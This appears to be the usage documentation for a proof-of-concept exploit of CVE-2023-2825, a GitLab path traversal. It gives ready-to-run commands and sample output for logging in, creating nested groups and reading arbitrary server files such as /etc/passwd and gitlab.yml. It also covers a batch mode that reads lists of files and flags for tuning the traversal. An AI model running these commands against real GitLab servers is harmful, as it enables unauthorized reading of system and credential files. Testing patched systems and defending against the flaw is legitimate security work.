Python 3.8+

pip install -r requirements.txt

beautifulsoup4
requests
urllib3

python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.